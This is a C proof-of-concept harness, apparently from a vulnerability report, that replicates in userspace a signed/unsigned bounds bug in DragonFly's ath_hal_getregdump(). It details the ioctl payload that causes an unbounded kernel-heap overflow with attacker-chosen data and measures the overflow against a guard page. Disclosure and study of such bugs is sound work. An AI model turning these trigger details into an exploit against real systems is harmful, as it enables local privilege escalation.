DF-4321 / oob_sim.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | /* * DF-4321 PoC โ exact replica of ath_hal_getregdump() (DragonFly * sys/dev/netif/ath/ath_hal/ah.c:841-863) demonstrating an UNBOUNDED, * attacker-length kernel-heap out-of-bounds WRITE caused by a * signed/unsigned comparison error. * * The kernel code (verbatim structure; `space` is a signed int): * * for (i = 0; space >= 2*sizeof(uint32_t); i++) { (A) * uint32_t r = regs[i].start; * uint32_t e = regs[i].end; * *dp++ = r; *dp++ = e; * space -= 2*sizeof(uint32_t); * do { (B) unchecked * *dp++ = OS_REG_READ(ah, r); first write * r += sizeof(uint32_t); * space -= sizeof(uint32_t); * } while (r <= e && space >= sizeof(uint32_t)); (C) * } * * sizeof() yields size_t, so comparisons (A) and (C) convert `space` to * UNSIGNED: once space goes negative it becomes ~2^63 and (C)/(A) are * forever TRUE. The inner loop is then bounded only by the attacker's * register-range end; the outer loop only by the end of the attacker's * regs[] array. Only check (B) can push space negative: an outer * iteration that begins with space==8 writes its 8-byte header, and the * do-while's FIRST, unconditionally-executed register write then takes * space to -4 โ after which no space check can ever fail again. * * Trigger (matches a real ioctl payload): * ad_out_size = 32 -> kernel kmalloc(32) * regs[0] = {0x8000, 0x8000+12} (header + 4 values = 24 bytes, space -> 8) * regs[1..N] = {0x9000, 0x9000} (12 bytes each; range 1's header takes * space 8->0, its first value 0->-4; * every later range is pure overflow) * Total written: 24 + 12*N bytes into a 32-byte buffer; each overflowed * word is a device register value (attacker-chosen register address), so * a local attacker who knows a register's contents (e.g. AR_STA_ID0 = * the NIC MAC, AR_BSS_ID0 = the associated BSSID) overwrites adjacent * kernel heap objects with KNOWN data, at a CHOSEN length. * * This harness runs the bug-faithful replica against a 32-byte buffer at * the start of a page followed by a PROT_NONE guard page and measures * how far past the buffer the writes go before faulting. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stddef.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> typedef struct { uint32_t start; uint32_t end; } HAL_REGRANGE; #define NRANGES 4096 static uint32_t mock_reg_value = 0xA5A5A5A5; /* OS_REG_READ stand-in */ static volatile char *g_next; /* next store address */ static sigjmp_buf jmp; static void segv(int sig) { siglongjmp(jmp, 1); } /* Bug-faithful replica of the kernel loop โ expressions exactly as in * sys/dev/netif/ath/ath_hal/ah.c (int `space`, size_t sizeof()'s). */ static size_t getregdump_replica(const HAL_REGRANGE *regs, void *dstbuf, int space) { uint32_t *dp = dstbuf; int i; for (i = 0; space >= 2 * sizeof(uint32_t); i++) { uint32_t r = regs[i].start; uint32_t e = regs[i].end; g_next = (char *)dp; *dp++ = r; g_next = (char *)dp; *dp++ = e; space -= 2 * sizeof(uint32_t); do { g_next = (char *)dp; *dp++ = mock_reg_value; r += sizeof(uint32_t); space -= sizeof(uint32_t); } while (r <= e && space >= sizeof(uint32_t)); /* THE BUG */ } return (size_t)((char *)dp - (char *)dstbuf); } int main(void) { unsigned char *map; static HAL_REGRANGE regs[NRANGES]; size_t n; struct sigaction sa; map = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } if (mprotect(map + 4096, 4096, PROT_NONE) != 0) { perror("mprotect"); return 1; } memset(map, 0xEE, 4096); /* attacker ioctl payload: outsize=32, range0 eats 24 bytes, * ranges 1.. keep writing 12 bytes each forever */ regs[0].start = 0x8000; regs[0].end = 0x8000 + 3 * 4; for (int i = 1; i < NRANGES; i++) { regs[i].start = 0x9000; regs[i].end = 0x9000; } memset(&sa, 0, sizeof(sa)); sa.sa_handler = segv; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); printf("DF-4321: ath_hal_getregdump() signed/unsigned bounds bug\n"); printf("buffer: 32 bytes at %p, guard page at %p\n", map, map + 4096); printf("payload: outsize=32; regs[0]={0x8000,0x800c}, " "regs[1..%d]={0x9000,0x9000}\n", NRANGES - 1); printf("legitimately writable: 32 bytes (8 header + 6 values)\n\n"); if (sigsetjmp(jmp, 1) == 0) { n = getregdump_replica(regs, map, 32); printf("loop returned normally: %zu bytes written " "(buffer was 32)\n", n); } else { ptrdiff_t off = g_next - (char *)map; printf("=> WROTE PAST THE GUARD PAGE (fault at +4KB)\n"); printf(" bytes written before fault: %ld " "(buffer was 32) = %ld-byte overflow\n", (long)off, (long)(off - 32)); } printf("first 16 bytes past the 32-byte buffer (offset 32..48): "); for (int k = 32; k < 48; k++) printf("%02x", map[k]); printf(" <- 0xA5A5A5A5 'register value' words smeared over heap\n"); return 0; } |